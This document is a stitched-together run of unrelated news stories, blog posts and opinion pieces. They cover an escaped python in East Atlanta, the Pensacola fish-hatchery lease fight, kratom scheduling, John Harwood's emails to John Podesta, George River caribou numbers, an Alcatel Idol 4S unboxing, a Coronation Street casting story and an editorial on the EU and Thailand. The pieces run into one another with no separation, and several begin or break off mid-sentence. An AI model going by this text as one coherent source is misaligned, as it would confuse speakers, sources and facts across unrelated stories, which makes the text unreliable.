“This insulting practice of white-washing has got to stop,” said MANAA President Aki Aleong, an actor who’s been in the business for 60 years. “Alarmingly, it has been increasing in frequency. Today’s audiences expect multi-racial casts in entertainment, as they reflect the multi-cultural environment in which they’ve grown up. In fact, three of the television series that are doing very well this television season star Asians actors: Fresh off the Boat, Quantico, and Dr. Ken.The creature was quiet, moving in the night through the neighborhood toward a dark, private spot.
A woman discovered it around 1 a.m. under her porch in East Atlanta Village, the hipster haven off I-20 where tattooed, bearded denizens walk Float Shoals Road to The Midway Pub, past old men puffing outside the cigar bar.
The woman, Jessica Breese, took her dogs inside to be safe. Careful to keep her distance, she snapped a photo with her cellphone. The next day, she posted it on the Nextdoor social networking app for neighbors.
The photo showed a python. Breese didn't know it, but she'd found a neighbor's pet.
Residents in East Atlanta Village have recently been dealing with an escaping python. It was caught Wednesday night. (Photo by Jessica Breese)
In the weeks since, the snake, which reportedly measures more than 11 feet long, has been captured and gotten loose again. It was most recently found and collected Wednesday night, but the situation might live in local legend for a while.
Curt Hagemeier, Breese’s fiancée, said it’s somewhat divided the normally convivial area.
“It got real out of control,” he said. “Everybody was getting on each other’s nerves.”
The snake is a reticulated python, a species which is among the world’s heaviest. The nonvenomous constrictors are generally not considered dangerous to humans, but do kill animals.
Hagemeier said a search party got together, knocking on doors and peeking in backyards. They toted a trashcan to carry the snake once they found him.
Some residents threatened to take a shovel to the creature’s head and hoped to get the owner’s up on a stick, Hagemeier said. Others were more forgiving of the owner, whom most only know as “Alex,” and cried out in defense of the snake.
“SAVE MONTY!”
That’s his name. Monty. The python.
But his name on Facebook is “East Atlanta Python.” It’s the same on Twitter, where he introduces himself with the sly greeting: “Ssssssslithering through your yards and into your hearts.”
Resident Andy McIntyre said the situation was funny at first.
“Now, it’s becoming a nuisance, so to speak,” he said after the second escape. “How would you feel if you woke up to a 12-foot python in your front yard?”
Someone had a similar experience Wednesday night. DeKalb animal control got a call and captured Monty at 347 Trilby Street, according to the county.
“Dammmmmnnn, man,” the Facebook page said, with a picture of Monty coiled up in an animal control vehicle. “I'm stuck in Club Fed. Who's got bail money for me?”
The reptile was being held Thursday at the county animal shelter until repairs are made to the cage, assuming 4-year-old Monty doesn’t make a break for it again.
Alex, whose phone number was posted on the Nextdoor app, assures he’s working on it.
“I was actually just reinforcing my snake cage to make sure this never, ever, ever, ever, ever, ever happens again,” he said Thursday, refusing to give his full name to The Atlanta Journal-Constitution. (The county couldn’t immediately provide his name either.)
How did Monty get out in the first place?
Alex, who said he works with snakes professionally in animal removal, said he was sick and incapacitated both times Monty escaped.
“I’ve never had the flu like this before,” he said. “The snake has learned how to leverage his body” to open the cage.
Now, the owner said the cage will have new latches and three new locks, enough protection that no matter how much Monty wants to stroll East Atlanta Village, he must stay put.
“The trouble’s definitely over,” Alex said.Two Pensacola city council members are leading the charge to stop the $19 million Gulf Coast Marine Fisheries Hatchery & Enhancement Center from moving forward at the long-vacant city-owned property known as Bruce Beach.
Council president Brian Spencer and councilwoman Sherri Myers are asking the council to declare the state’s lease of the property null and void, arguing that construction on the project hasn’t commenced on schedule.
That’s the same argument that developer Quint Studer, who owns property adjacent to the site, has made in recent weeks. Both city and state officials contend that the lease is valid and the construction process is underway, with permits secured. State officials last week advertised for bids for construction of the project.
At issue is the Bruce Beach property — a small patch of potentially-contamined land next door to a tank farm, once used for shipbuilding and later as a recreational area for black Pensacolians during segregation. The site has been vacant since the 1970s, when safety concerns prompted the closure of the recreational area and officials planned to use the site for a tuna cannery that never materialized.
Since then, the property has become overgrown, used as a homeless camp and dumping ground. The $18.8 million budget for the project — fully funded by fines paid by BP in the wake of the 2010 Deepwater Horizon oil spill — the project budget includes funding to clean up the property and construct a marine research center, with plans to restore public access to Bruce Beach for the first time in decades. In addition to walking paths, a pedestrian bridge over Washerwoman’s Creek would connect to the Community Maritime Park next door.
Both Myers and Spencer voted in support of the project when it was originally approved by the city council back in 2011. Myers changed positions by 2014, voting against the lease for the project, though Spencer supported it at the time. Studer also advocated for the project, writing a public letter of support in 2014.
“Even if the hatchery does not work out, the worst-case scenario is that the city has remediated land which is safe and open to the public for enjoyment and learning,” Studer said at the time. “This is far better than what is in place today.”
Spencer has suggested moving the hatchery to the Port of Pensacola, though it’s unclear whether that’s a viable option. More than $1 million has been spent on design and engineering fees to tailor the project to the Bruce Beach site.
“At this time, we are not considering other locations as our contract is valid,” Florida Fish & Wildlife Conservation Commission spokeswoman Susan Smith said last week.
Nonetheless, Spencer is asking council members to explore buying out the Florida Department of Transportation’s interest in the Port’s administration building, which was constructed using FDOT dollars in 1999. It’s unclear whether that building would be suitable to house the marine research center, though there likely wouldn’t be enough land on the port site to accommodate the project’s wetlands component and other public amenities.
“Relocation is my goal,” Spencer said Wednesday. “I never supported the diminished use of Bruce Beach for a hatchery unless it created a significant number of jobs and was the funding vehicle that provided exciting, attractive infrastructure additions and improvements that could be enjoyed by the public. Fast forward to today versus yesterday’s promises … the jobs aren’t there, and the project’s public amenities are a fraction of what we anticipated. Today’s bid package deviates too significantly from the initial FWC sales pitch.”
Spencer encouraged Mayor Ashton Hayward, a strong proponent of building the project on the Bruce Beach site, to join him in supporting relocation.
“Our Mayor should jump on the voided lease status and secure a new location at the port,” Spencer said. “He still can be the champion of this project. In fact, I think this is an ideal time for him to show strong leadership skills while exercising his ability to maneuver through the gauntlet of bureaucracy.”
Pensacola city council members are set to discuss the hatchery lease at their regular meeting on November 9.PHOTO CREDIT: @retroist
Mr. Moviefone used to terrify me when I was a kid. I’m positive I wasn’t the only one who felt this way, because at some point they rerecorded the tracks to make him sound less intimidating.
A quick internet search didn’t turn up the recordings, so you’ll just have to trust me on this one. The first recording was very ominous: “If you know the NAME of the movie you’d like to see, press 1 NOW.” The second was the same sentence, but the tone was totally different. Ignore the words in caps and add a friendly, “Hey Buddy!” to the beginning and you’ll get the idea.
Regardless of the incarnation, Mr. Moviefone was a vital cog in making plans for the weekend. It usually went down like this.
On Monday or Tuesday, you’d see a commercial and remember that a movie you wanted to see was coming out on Friday. You’d float the idea out to some friends to see if they wanted to come along.
If they had enough interest, you’d spend Wednesday and Thursday making different plans, based on what time the movie started. There was, of course, no way of finding out what time the movie was going to be playing until the Friday newspaper came, or until you called 777-FILM on Friday morning.
That was it. You had to wait until Friday to really solidify your plans, and if you were at school with no newspaper, you were calling Mr. Moviefone.
Compare that with today. Tickets for the midnight IMAX showing of The Dark Knight Rises sold out seven months before the movie was released. Granted, that’s an extreme case, but could you imagine the mad rush to get tickets to that screening if the showtime wasn’t posted until the night before?
I remember having to drive to a movie theater at like 10AM to purchase hard tickets to a movie that everyone wanted to see. It was insanity. Oh internet, you have made my life so much more convenient.
Looking back, it seems like everything moved at an absolute snail’s pace back then. It was a really big deal to see something you were into in the theater, because if you missed it, you wouldn’t have another opportunity to see it for at least a year.
Now it seems like you can pick up a Blu-ray a few weeks after a movie is out of theaters, especially if the movie sucked. There’s an incredibly small window between the day most movies exit theaters and the day they can be purchased for your personal collection.
I’d imagine the industry hit the hardest by this tiny time frame is the hotel “On Demand” service. Their “Still In Theaters” category (and they use that term very loosely - maybe that one sketchy theater on the other side of town still has those movies…maybe) seems old and busted way sooner than it did before.
Then again, they’re still trying to get you to play Gamecube games for like 10 bucks an hour, so they probably haven’t even noticed.
I said in an earlier post (#16 - I’m not linking because I’m lazy) that going to the movies used to feel like an event, and now it’s not the same. I wondered why at the time, and now I’m thinking maybe it’s because it was such a process to actually go see something back then. When you were in, it was like an exclusive club.
Okay, so that might be an oversell. But the smell of popcorn just doesn’t transport me like it once did. It actually makes me sick now, but I think that’s because I ate too much at my friend’s Jurassic Park birthday party.
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DisqusISIS is being forced to offer marriage counseling to stop their brides from fleeing the terrorist group during tough times.
The terrorists opened their first “relationship counseling center” for troubled jihadi lovebirds in Raqqa, Syria, according to the UK Sun.
A photo, released by the Islamic State’s media branch, shows one tearful wife seeking help from a shrink next to a box of tissues.
Male ISIS fighters — connected to any number of brutal beheadings, bombings or other atrocities — have attended the sessions, too, according to the site.
Thousands of Western women, many of them British, have joined ISIS after being radicalized online in the past two years.
But times are tough in Raqqa, where airstrikes have caused food, water and power shortages, making tense marriages even more strained.
“At least before [ISIS] we had electricity, we could bake and cook. Our basic needs were met. Now we are back to ancient times,” one of the women told dissident site Open Your Eyes.
“There’s no electricity, no drinking water. There are no services,” another moaned.
ISIS has lured female recruits by promising them a new life in Syria.As is typically the case before the nominations are announced, few of this year’s presumed Oscar contenders have caught fire at the box office. But one demographic that can usually be counted on to view things early on is the pirates who upload and download illicit copies from file-sharing sites. Esteemed L.A. Times Oscarologist Tom O’Neil reports today that DVD screeners for all of the 2009 awards hopefuls (save for Avatar) are currently in the hands of the Academy’s general membership — so why have so few leaked online?
By this time last year, all but six of the screeners for movies that later earned Oscar nods were being freely traded on BitTorrent sites, according to a January study by Waxy.org. This year, though, so many of the films expected to be nominated remain un-pirated, including (as far as we can tell): Up in the Air, Last Station, It’s Complicated, Nine, A Single Man, A Serious Man, Bright Star, Crazy Heart, The Lovely Bones, Julie & Julia, Fantastic Mr. Fox, Me and Orson Welles, The Princess and the Frog, The Informant!, and Sherlock Holmes (plus countless other ones expected to be snubbed, like The Road, Amelia, That Evening Sun, Creation, Capitalism: A Love Story, and The Men Who Stare at Goats).
So what’s the problem? Did studios spring for better copy-protection this year? Were they more selective with whom they mailed screeners to? Or do pirates just really want Precious to win?
Oscar voting begins! Here’s when academy members got DVD screeners [Gold Derby/LAT]As the federal government moved to kill the buzz of marijuana growers by introducing harsher mandatory sentences for those convicted of producing the plant, new guidelines were published this week that promote safer use of the illegal drug.
The low-risk use guidelines, which are similar to alcohol guidelines introduced in the 1990s, are set to be published in the September/October issue of the Canadian Journal of Public Health and offer safer usage practices for those who choose to use the drug. The study's lead author says that while it will take some time for the guidelines to ingrain themselves into public thinking, they are necessary because of the prevalence of marijuana use in Canada.
"(Acceptance of the guidelines) will take some time, but the same situation existed when the low-risk drinking guidelines came about," said Benedikt Fischer, who is a scientist with the Centre for Addiction and Mental Health. "In the beginning, they were quite controversial, and it took them a while to get established... and today they are fundamentally accepted public-health policy and practice tool in alcohol."
The release of the guidelines comes the same week the federal government introduced its Safe Streets and Communities Act, an omnibus bill that combines crime measures from nine other bills.
While some features of the bill crack down on crime and lock away dangerous offenders, the way it deals with marijuana producers — even those with as few as six plants — has come under some criticism.
The government intends to lock up everyone caught growing six or more pot plants for at least six months. The maximum penalty will be 14 years.
Currently, house arrests and fines tend to serve as punishment in many cases for marijuana growers.
Despite the risks taken by growers and those who possess marijuana, Fischer is confident legal change to reduce the penalties — if not eliminate them — will happen eventually. But not any time soon.
"This government won't (change) and I won't try to battle with them," he said. "This is part of their ideological core and so be it.
"I think it's just a matter of time until the law will follow the public's will and opinion on this issue. Nevertheless, the law is not something that is modifiable by users, so our effort here focuses on modifiable health risks, which is why we stayed out of the legal debate in this case."
The low-risk guidelines for alcohol offer advice as to the safest levels of consumption for various groups, depending on age and medical status. They also advise against some practices, such as drinking and driving.
For cannabis, the plant which marijuana comes from, many of the guidelines are cut from the same cloth.
In the guidelines, which have been endorsed by the Canadian Public Health Association, it is advised that:
- Some groups — including pregnant women, middle-aged and elderly individuals with cardiovascular issues and those with a family history of psychosis — should abstain from use completely;It appears the Avalanche will enter this season with a pretty similar roster. They made only a few subtle moves, though they did sign forward Nathan MacKinnon, the No. 1 pick in the 2013 NHL Draft, to a seven-year contract on July 8.
The Colorado Avalanche failed to qualify for the Stanley Cup Playoffs for the fifth time in the past six seasons in 2015-16, leading to another summer of trying to figure out what it will take to get back.
MacKinnon, who was a restricted free agent, put up decent numbers last season (21 goals, 52 points in 72 games), but he hasn't been able to match the 24 goals and 63 points he had as a rookie in 2013-14, the last time Colorado qualified for the postseason. It is imperative MacKinnon at least gets back to that level if the Avalanche are going to find their way back into the playoffs.
Here is what the Avalanche look like today:
KEY ARRIVALS: Joe Colborne, F: Colborne, 26, signed a two-year contract with the Avalanche on July 1 after setting NHL career highs in goals (19), assists (25) and points (44) last season with the Calgary Flames. He is expected to vie for a top-six role.... Fedor Tyutin, D: Colorado landed another veteran defenseman by signing Tyutin on July 1. Tyutin, 32, has played more than 800 NHL games and spent the past eight seasons with the Columbus Blue Jackets.
Video: VAN@CGY: Colborne's tip leads to a power-play goal
KEY DEPARTURES: Reto Berra, G: The Avalanche feel comfortable with Calvin Pickard as their backup, so they traded Berra to the Florida Panthers for forward Rocco Grimaldi on June 23. Berra played 33 games for Colorado during the past two seasons and had a.922 save percentage in 2015-16. … Nick Holden, D: Holden, who played in all 82 games for the Avalanche last season, was traded to the New York Rangers for a fourth-round pick at the 2017 draft. He had six goals, 16 assists and 24 penalty minutes.
ON THE CUSP: Mikko Rantanen, F: The 19-year-old was the 10th player selected at the 2015 draft and got his first taste of the sport's highest level last season but was held without a point in nine games. Rantanen played 60 games for San Antonio of the American Hockey League, where he had 24 goals, 36 assists and a plus-20 rating in 52 games. Rantanen, who turns 20 in October, will be vying for a spot on Colorado's roster at training camp. … J.T. Compher, F: A big piece of the trade that sent center Ryan O'Reilly to the Buffalo Sabres last summer, Compher signed an entry-level contract with the Avalanche in April after finishing his third season at the University of Michigan with 16 goals, 47 assists and a plus-35 rating in 38 games. … Chris Bigras, D: A second |
." Boyles and Moore also agreed that parents don't need to worry unnecessarily. "Family pictures are family pictures," Boyles said. "But if more of your pictures of your kids are of them naked rather than clothed, you might have a problem."
So in sum, if you don't want to get arrested and charged for taking nude photos of your infant or toddler, make sure you know what criteria your local prosecutor uses when navigating that "gray area" between a cute butt and a criminally alluring one (note: you probably don't want to actually pose this question to him). Also, if you find yourself under investigation after dropping off a roll of film at the CVS, you might want to bake the prosecutor some cookies, since it appears that his "gut" will be the final arbiter of whether you're a doting parent or an accused child pornographer.
Finally, even if the nude photos you've taken of your kids pass the clear-as-mud "cute butt," "gut feeling," and "reasonable people can disagree/that's when it comes to us" tests, and are deemed innocent as a basket of puppies, you could still be in violation of the law if the state determines that the clothed to unclothed-but-innocent ratio in your family photo albums is inappropriate.
Got all that? Good.
Because they promise, you really have nothing to worry about.It was not exactly a man-bites-dog moment.
“SPOTTED: CNBC’s John Harwood lunching with John Podesta Thursday at Art and Soul,” Politico reported Friday morning in its Politico Playbook.
If we learned nothing else from the 2016 election, we know Harwood spent the cycle cultivating Podesta and doing whatever he could to ingratiate himself to the Clinton campaign.
From the earliest Republican debates, Harwood dutifully sniped at Hillary Clinton’s potential opponents — such as Sen. Marco Rubio (R-FL), who was viewed by the Clinton campaign as perhaps the biggest threat in October 2015.
That night, Harwood, who also contributes to The New York Times, asked Rubio about his tax plan. Why, Harwood asked, if Rubio was a champion of the middle class, would he endorse a plan that favored the rich and hurt the poor.
Only the analysis he cited from the Tax Foundation said nothing of the sort. Harwood hectored Rubio on the stage, then later on Twitter. He backed down only after Scott Hodge, president of the Tax Foundation, tweeted that Harwood was wrong and Rubio was right.
“CNBC Republican debate moderator John Harwood has entered the Dan Rather-phase of denial,” wrote Breitbart at the time.
Harwood was all in for Clinton, even if it meant criticizing one of his employers. “I must say, though I don’t know the terms. I find it weird that NYT made some sort of deal with the guy writing that book,” Harwood wrote to Podesta.
This was a reference to The Times’ decision to collaborate with Peter Schweizer — Breitbart News Senior Editor-at-Large, President of the Government Accountability Institute, and the author of Clinton Cash, a book that raised questions about the Clinton Foundation.
Another time, Harwood criticized theThe Times for reporting that Joe Biden was considering entering the race for president.
“Cannot believe Biden story is leading the paper,” he wrote to Podesta. “Correct me if I am wrong, since you would know better, but it strikes me that ‘Biden is actively exploring’ is the new ‘criminal referral of Hillary Clinton,’ if you know what I mean.” This, the Daily Caller reported, was a “disparaging reference to The Times’ reporting on Clinton’s emails.”
The Wikileaks hacks of Podesta’s emails revealed Harwood as, in the words of Betsy Rothstein of the Daily Caller, as a “giant kiss ass to the Clinton campaign.”
In many cases, the emails consisted solely of a subject line. “She was good here in Newton,” read one after a Clinton campaign event in Massachusetts. She is “pretty strong,” he advised in another email to Podesta. “Yup. Feeling good,” Podesta replied.
“She looked so much more comfortable today talking to Andrea [Mitchell, of MSNBC] today than to Brianna [Keilar, of CNN] a few weeks ago,” Harwood offered in a shot at media consulting. “I think she’s over the hump,” Podesta responded.
He offered helpful tweets at times. “Set aside process — if there’s any specific/plausible suggestion of nefarious email @HillaryClinton was trying to hide, I haven’t heard it,” he wrote after a day Clinton’s emails had been in the news.
He even offered some opposition research at one point. He emailed Jennifer Palmieri, director of communications for the Clinton campaign, to inform her that he was going to debate Pat Buchanan on a program. His father, who was an editor at The Washington Post, had debated Buchanan years earlier on press bias. “Just discovered that NPR broadcast it live,” he wrote. “I’m trying to get the tape.”
Harwood would hardly be the first reporter to ingratiate himself to campaign officials to obtain scoops, but it’s not even clear he was effective at that.
“Re: don’t you think it’s time …” he wrote in a subject line. “for HRC to talk economy with me?” he wrote in the email.
“Time to start talking about the economy with somebody. Probably after Thanksgiving.”
“With me,” Harwood responded, “it will be the kind of substantive, deep, textured conversation about the economy she wants.”
This was close to the time of the email on Oct. 4, 2015, that read: “Lunch in NYC tomorrow?”"Health risks found in kratom abusers include hepatotoxicity, psychosis, seizure, weight loss, insomnia, tachycardia, vomiting, poor concentration, hallucinations, and death," the organization wrote in an August 30 press release. "DEA is aware of 15 kratom-related deaths between 2014 and 2016."
Despite the fact that these deaths could have been caused by other substances ingested alongside kratom, the DEA is still making it a Schedule I drug. This puts the drug in the same category as heroin, LSD, and of course, the deadly marijuana (we all know how well that ban is going).
Conspicuously left off the banned substances list is caffeinated drinks and alcohol, both of which have killed more people than kratom allegedly has. Not to mention, more people die from pharmaceutical drugs like Oxycontin than this natural remedy.
"It makes no sense for the DEA to still be left in charge of federal decisions involving scientific research and medical practice, especially when its successive directors have systematically abused their discretionary powers in this area," Alternet's Jag Davies wrote. "Responsibility for deciding drug classifications and public health policies should be completely removed from the DEA and transferred to a health or science agency."
Many kratom enthusiasts are fighting to keep the drug off the DEA's list. The American Kratom Association's White House petition to halt the ban has exceeded its goal of 100,000 signatures, but the backlash might not be strong enough to prevent the DEA from following through with their plans.Los Angeles radio host Larry Elder and University of Pennsylvania professor Marc Lamont Hill hijacked CNN Wednesday afternoon, yelling angrily past each other after Elder claimed that racism “is not a major problem in this country.”
The two had just come off a tense segment regarding the Ferguson riots, and when host Brooke Baldwin asked Elder about the mental health of young black men he seemed intent on continuing that conversation.
“I think the media perceives racism to be a far bigger problem in America,” Elder said. “That’s why we spend so much time on people like Donald Sterling and Cliven Bundy and before that.”
“I think we’ve been training black people to think racism is a bigger deal,” he continued, “and I think the reason that the left wants that is because of votes and power. As long as black people believe that race and racism are the major problem in America, you’ve got that 95 percent, monolithic black vote, without which theDemocratic Party cannot survive.”
“So you have the Jesses and Als and Debbie Wasserman-Schultz and Harry Reid constantly bringing up race cards, talking about Republicans waging a war against black people and so forth,” Elder said. “So black people have been trained, [and] surprise, surprise, people in Ferguson believe that the racist criminal justice system is oppressing them.”
“Are you saying that racism is not a major problem in this country?” Balwdin asked skeptically.
“No, it is not a major problem in this country!” Elder declared. “No, it is not!” Pointing to his father’s experience and a “thriving black middle class,” he noted that if “black America were a country, it would be the fifteenth-richest country in the world.”
Hill finally got a word in edgewise, asking if perhaps Elder missed the mental health question because his earpiece was broken. That didn’t sit well with Elder.
“Why do you have to insult me all the time?” he said angrily. “Why do you always address what I say insultingly? Why is that necessary? Can’t we have a discussion as two black men without insulting each other? Is that possible?”
It went down quickly from there, with the two raising voices, talking over one another and leaving an overpowered Baldwin helplessly nodding along.
[h/t Mediaite]
Follow Brendan on TwitterWell, /u/tetsuwan77 has managed to make this seemingly the BEST CHRISTMAS EVER!!! Nothing like a good lot of presents, of which all are perfect and from my profile/likes.
Firstly, lets start with the beautiful card I got. I just want to stare at the beautiful handwriting for as long as I can. mmmm. Each present had an individual card, and show just how much care and thought was put into this entire pack!
Secondly, I have recieved an amazing dvd, Beowulf! No not THAT beowulf, the 'other' one (from 1999, with a 3.9 on IMDB). My Secret santa appreciates my love of horrible movies, so nail=hit on that one!
Thirdly, I got a giant pack of cookies! Picking up on my love for both cookies, and cookieclicker, I recieved some hard-to-find biscuits from 'La Biscuiterie de Camaret'. They're chocolate orange flavoured, and I've had to put them out of sight because I've already eaten a good chunk of them!
What else is there? A KNITTED CAT BLANKET! This one is for my beautiful cat Rupert, from tetsuwan77's cat C.C. I love my cat so much, and from what I can tell (me throwing and smothering himin blankety goodness), he loves this gift. Thanks C.C. :)
And the pièce de résistance, would have to be some custom made shirts, to satisfy my love for Game of Thrones. My gifter is also into screenprinting, and made me some amazing shirts with the Stark Direwolf, and "L' Hiver Vient" (winter is coming). These shirts fit perfectly, and I am wearing one right now.
All in all this has just brightened up my christmas so much, and I am SO happy that I signed up for secret santa this year.
Thanks tetsuwan77, you are the best!A drastic drop in the George River caribou population means the herd is at a "critically low" level, says the Newfoundland and Labrador government.
Even more alarming, according to the province, is if the current rate of decline continues, the herd could be functionally wiped out in less than five years.
A press release from the provincial government Monday says the population survey puts the herd count at 8,938 animals, down 37 per cent in just two years from the 14,200 recorded in 2014.
'Point of no return'
Environment and Climate Change Minister Perry Trimper said he's worried the herd will dwindle so low it won't be able to recover.
"There may still be caribou on the landscape, at extremely low densities, but there's a certain synergy," he told CBC News. "There's a certain minimum number of individuals that you'd need to get your population going back in the right direction, and we're very concerned that we are very quickly moving to that point of no return"
The herd has declined by 99 per cent since the early 1990s, government said, when it was estimated to number about 800,000 animals.
Government attributes the drop to deterioration in habitat and food resources, predation and climate change. The provincial government banned hunting the herd in 2013.
Not enough caribou are being born to replace the ones that are dying, said Trimper, who said convincing everyone of the need for a hunting ban is a challenge.
Technology making hunting more efficient than ever
"The elders that we have available that provide wisdom and direction as to what's going on, some at least are of the opinion that hunting can continue, that it should be OK, the population can recover," he said, but added there are other factors today that make recovery much harder than in the past, he said.
"We now have technology that makes the efficiency of the hunt much more dramatic," he said. "We have snowmobiles, aircraft, high-powered rifles, great knowledge as to where the animals are, all of this in combination with the fact that the last few years, the overwintering population has been very close to communities."
Trimper said the government is seeing collared animals being shot.
"We really are asking for the public's support and cooperation in this," he said. "It's going to be much better to stop people from hunting than to catch offenders."T-Mobile and Alcatel are set to release the Idol 4S next week with Windows 10 Mobile. The phone will retail for $469 on November 10, which is a nice price when you consider the included VR headset that comes in the box. Before we get to our full review, next week I figured I'd do a quick unboxing and share some initial impressions. Also, I'll share some camera samples and answer a few questions I know many of you have about this impressive device. Let's go!
Alcatel Idol 4S with Windows 10 Mobile
Category Features CPU Snapdragon 820 | Quad Core CPU @2.15 GHz Display 5.5-inch FHD AMOLED
Dragontrail 2.5D Glass
180-degree viewing Memory 64GB ROM
4GB RAM
microSD Camera 21 MP Rear
8 MP FF
Dedicated camera button
Dual-tone rear flash
LED front flash Video 4K @ 30FPS
1080P @ 60 FPS Battery 3,000 mAh
Quick Charge 2.0
420Hrs Standby
15Hrs Talk Continuum Yes VR Yes Windows Hello Yes (Fingerprint) Audio Dual speakers with Hi-Fi surround sound Dimensions 153.9 x 75.4 x 6.99 mm Data 4G LTE
T-Mobile Extended Range LTE 3G/4G Band I, II, IV, V LTE Bands 1, 2, 3, 4, 5, 7, 12, 20 HD Voice Yes VoLTE Yes Wi-Fi 802.11 a/b/g/n/ac
Wi-Fi Calling 1.0 Bluetooth BT 4.1
A2DP, OPP, HFP, AVRCP, PBAP
In the box Alcatel Idol 4S
VR headset/case
Quick Charge 2.0 charger + USB Type-C cable Impressions The Alcatel Idol 4S has surprised me in a good way. I have become accustomed to being underwhelmed by non-Lumia phones in the past, but so far the HP Elite x3 and Idol 4S are bucking those trends. Here are my quick observations: Performance is outstanding likely due to the Full HD display (fewer pixels), and it does feel slightly faster than the Elite x3 because of that
The display is excellent. While the Elite x3 is still better due to the higher resolution and slightly richer AMOLED I cannot complain about the Idol 4S either
Button placement is different, but not bad
The fingerprint reader is very fast, but the small ridges around it make using it while not looking a little harder than the Elite x3
The camera feels very much like the Elite x3 despite having a slight edge on megapixel count. Again, it's not a terrible camera for daylight/standard shots, but it will struggle in low light or fast-moving objects. On the plus side, that camera button is nifty!
The phone has no stability or crashing issues like the Elite x3 had during its early release stage (now fixed). It's very reliable with no obvious bugs or flaws either in hardware design or software execution
Being glass and metal it will pick up fingerprint quickly; I would consider a case if you a prone to dropping phones
The VR experience is OK. I'm not a huge VR fan, and the lower resolution display is noticeable when using the headset compared to the Galaxy S7. I consider the VR experience a bonus add-on, not the core reason to buy this phone so whatever. At the end of the day, phone VR is still just phone VR.
You cannot remove the T-Mobile app for whatever reason
The dual front firing speakers are tremendous. While the Elite x3 also has the same setup those are tuned high for speaker phone and lack bass. The Idol 4S are much better for media and music and sound fantastic One day in with the Idol 4S and I'm liking it a lot with little to no complaints. If you are on T-Mobile and are looking for something high end with Windows 10 Mobile, this is a good bet. Image Gallery
Camera Samples
Here are a few quick unedited shots. You can find non-resized on imgur if you want the originals. Most of these were shot at 4x3 aspect with the full 21MP sensor. The outdoor/trees photo is using HDR; the'selfie' is using the front-facing camera. Idol 4S FAQSan Francisco, Washington, D.C., and... Midland, Texas? The Bureau of Economic Analysis released its personal income report for 2011, naming the richest metropolitan areas in the United States by personal income per capita, and the top two spots require some explanation.At number one, there's Bridgeport, Connecticut, one of the most unequal metropolitan areas in the country. Home to both Bridgeport, the struggling industrial city, and Greenwich, the home for hedge fund billionaires on the outskirts of New York City, the metropolitan area has the nation's highest share of income earned by the top fifth. This is case where averages tell you one thing -- there are some intensely rich people living in the Bridgeport MSA -- while the median would give you a typical household income figure closer to $30,000.Meanwhile, it's boom times in the Permian Basin, the petroleum-rich swath of western Texas, where unemployment in Midland is 3% and one-quarter of the labor force works in mining. If Bridgeport's top spot is a statistical glitch, Midland's second-place finish is a geological one: The small city and its big wages are at the mercy of their natural resources and the globally-determined price of energy.Further down the list, we have cities like San Francisco, San Jose, Boston, and NYC, where wages are high because productive, innovative, and well-educated people worklive there without the benefit of natural resources. There is nothing wrong, as a commenter pointed out, with mining as a profession or a means of production, and living above natural resources doesn't make you lazy. But to the extent that the future of any 21st century country will be tied to its human capital -- and since not every city can be perched above a petroleum-rich basin -- these cities seem closer to a scalable model of a thriving modern metro.Get the biggest soaps stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Coronation Street fireman Paul Kershaw is to be axed from the ITV soap.
It is thought Kershaw, played by Tony Hirst, will be killed off at the end of the actor’s contract, but bosses are staying tight lipped about how he will meet his end.
He could be the second character, alongside Sunita Alahan – played by Shobna Gulati – to be killed off in the Rovers fire later this year.
Hirst, 45, arrived on the Cobbles in 2010 and has been involved in some major storylines, but bosses feel they have taken the character as far as they can.
Last night a Corrie spokesman said: “It’s a big year for the character of Paul.
“He will be at the centre of some explosive storylines which will culminate in a dramatic departure.”
Paul’s most high-profile plot was his complex love triangle with Eileen Grimshaw and his Alzheimer’s sufferer wife Lesley.
The fire at the Rovers Return was filmed earlier this month, with cast and crew working through the night.
A teaser on the soap’s website at the time said: “You may have read reports that the Rovers fire will claim lives.
"We can now exclusively reveal more than one person could die in the blaze at the Rovers.
“Will landlady Stella fall victim to the fire? Could it be barmaid Tina? Fireman Paul? Bad guy Karl? Sunita? Gloria? Eva? Toyboy Jason? No one is safe from the killer flames.”The decision by the European Union’s Foreign Affairs Council to resume political contacts with military-ruled Thailand is wonderful news for global authoritarianism, but woeful for this benighted Kingdom of Southeast Asia. With Donald Trump’s United States
heedless of rights abuses anywhere in the world, getting the EU also on board gives Prime Minister Prayut Chan-o-cha all the clout he needs to continue managing the country as he alone sees fit.
The EU has abandoned its call for an “urgent” restoration of democracy in Thailand. Everything it has
criticised since the 2014 coup has been forgotten. Political restrictions and limits on individual freedoms are now likely to continue until all of the general’s ideological enemies die off or fade away.
Absurdly, the EU Foreign Affairs Council based its decision on vague statements that Prayut made about a future election while he was
visiting the US in October. The
council clearly doesn’t have its ears to the ground here. Otherwise it would realise how few Thais actually believe there will be an election in November next year, as Prayut assured Trump. It would be aware that Prayut is now again claiming there are “threats to national security”, with the implication being that no election can be held until the perceived threats are expunged.
The junta’s much-vaunted “roadmap” guiding Thailand back to full democracy has never amounted to a clear timeline, and meanwhile, as long as the ban on political gatherings remains in place, preparations for an election cannot begin. At least the EU acknowledges this much,
noting that “freedom of expression and assembly remains highly restricted. Civil society activists and human rights defenders continue
to face judicial harassment.”
But such concerns are evidently not enough to prevent the EU from ignoring its conscience and re-engaging with Thailand politically. Wishful thinking seems to form the basis for the change of heart. The council looks forward to “meaningful dialogue” on “issues of mutual importance” such as rights and freedoms.
Such optimism might be understandable if there were convincing evidence that the junta is genuinely concerned about rights and wants inclusive elections. On the contrary, it has deliberately created a constitutional basis for the military to retain a central role in politics for the long term. The election will be called only when it has eliminated all challenges to that claim on power.
The junta has been confident all along that the EU desires a comprehensive economic and trade arrangement with Thailand, and in recent years, competing trade blocs around the globe have discarded democratic principles in the rush for financial benefit. It was only a matter of time before the Europeans, shaken by Brexit and saddled with high import duties, amended their criteria.
In fact it took three and a half years for EU patience to run out. Finally it became obvious that the Thai military wasn’t about to relinquish its grip on power anytime soon. Meanwhile trade revenues were being lost and other nations were gaining the upper hand. Realpolitik and greed for profit prevailed.
So now the US and EU have jettisoned democratic principles. China of course was never interested in them. It appears that the democracy movement in Thailand is pretty much on its own in maintaining the struggle. If the activists are arrested – or, rather, when they are – there might be a statement of moral support from the EU, but that’s about all.Early life Edit
